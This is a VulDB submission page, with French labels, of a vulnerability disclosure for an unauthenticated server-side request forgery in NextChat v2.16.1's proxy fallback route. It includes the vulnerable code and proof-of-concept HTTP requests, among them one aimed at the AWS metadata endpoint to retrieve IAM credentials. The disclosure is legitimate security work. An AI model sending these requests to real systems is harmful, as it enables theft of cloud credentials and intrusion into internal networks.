Soumettre #975707: https://github.com/ChatGPTNextWeb/ NextChat v2.16.1 Server-Side Request Forgery

Unauthenticated SSRF via Open Proxy Fallback Route (x-base-url header)

### Summary

NextChat's proxy fallback handler in `app/api/proxy.ts` performs server-side HTTP requests to any URL supplied by the caller via the `x-base-url` request header, with no authentication check and no URL allowlist. Any unauthenticated attacker can use this to probe or interact with internal network services, cloud metadata endpoints, and adjacent hosts behind the server's network boundary.

### Details

The Next.js catch-all route `app/api/[provider]/[...path]/route.ts` dispatches requests to named provider handlers (OpenAI, Anthropic, Google, etc.) by matching the `provider` path segment against known `ApiPath` values. Any provider name that does not match a known value falls through to the default case:

```typescript
// app/api/[provider]/[...path]/route.ts lines 58-59
default:
return proxyHandler(req, { params });
```

`proxyHandler` is imported from `app/api/proxy.ts`. That handler reads the `x-base-url` header from the incoming request and uses it directly as the upstream URL target:

```typescript
// app/api/proxy.ts lines 20-22
const subpath = params.path.join("/");
const fetchUrl = `${req.headers.get(
"x-base-url",
)}/${subpath}?${req.nextUrl.searchParams.toString()}`;
```

There is no call to `auth()` anywhere in `proxy.ts`. The adjacent OpenAI, Anthropic, and Google handlers all call `auth(req, ModelProvider.*)` before forwarding; the proxy fallback does not. As a result, any HTTP request to `/api/<unknown-provider>/<any-path>` triggers a server-side fetch to `x-base-url/<any-path>` without requiring an access code or API key.

The `Access-Control-Allow-Origin: *` and `Access-Control-Allow-Headers: *` headers set in `next.config.mjs` mean this endpoint is reachable cross-origin from any web page, enabling drive-by exploitation from a victim's browser.

### PoC

Prerequisites: a running NextChat instance (Docker image `yidadaa/chatgpt-next-web:latest` v2.16.1). The `CODE` environment variable may be set; it does not affect the proxy route.

Start an HTTP listener on a host reachable from the NextChat server:

```bash
python3 -m http.server 8080
```

Send an unauthenticated request to a non-existent provider:

```
GET /api/anyprovider/anypath HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://<internal-listener>:8080
```

The listener receives the connection from the NextChat server:

```
172.18.0.3 - - "GET /anypath HTTP/1.1" 404 -
```

The response to the caller contains the listener's HTTP server header (`server: SimpleHTTP/0.6 Python/3.11.15`), confirming the request was made server-side.

To reach the AWS instance metadata service:

```
GET /api/anyprov/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://x.x.x.x
```

### Impact

An unauthenticated attacker can:
- Enumerate and interact with internal services on the NextChat server's network (databases, Redis, internal APIs, container sidecars)
- Retrieve cloud-provider instance metadata (AWS, GCP, Azure), including temporary IAM credentials
- Exfiltrate data from internal HTTP services by relaying the response body back to the caller
- Bypass access-code controls entirely, as the proxy handler checks no credentials

This affects all self-hosted NextChat deployments regardless of whether a `CODE` environment variable is configured.

• La source: ⚠️ https://github.com/ChatGPTNextWeb/NextChat/issues/6813
• Utilisateur: geochen (UID 78995)
• Soumission: 12/09/2026 17:17 (il y a 24 jours)
• Modérer: 04/10/2026 18:15 (22 days later)
• Statut: Accepté
• Entrée VulDB: 413450 [ChatGPTNextWeb NextChat jusqu’à 2.16.1 Proxy Fallback app/api/proxy.ts proxyHandler x-base-url élévation de privilèges]
• Points: 20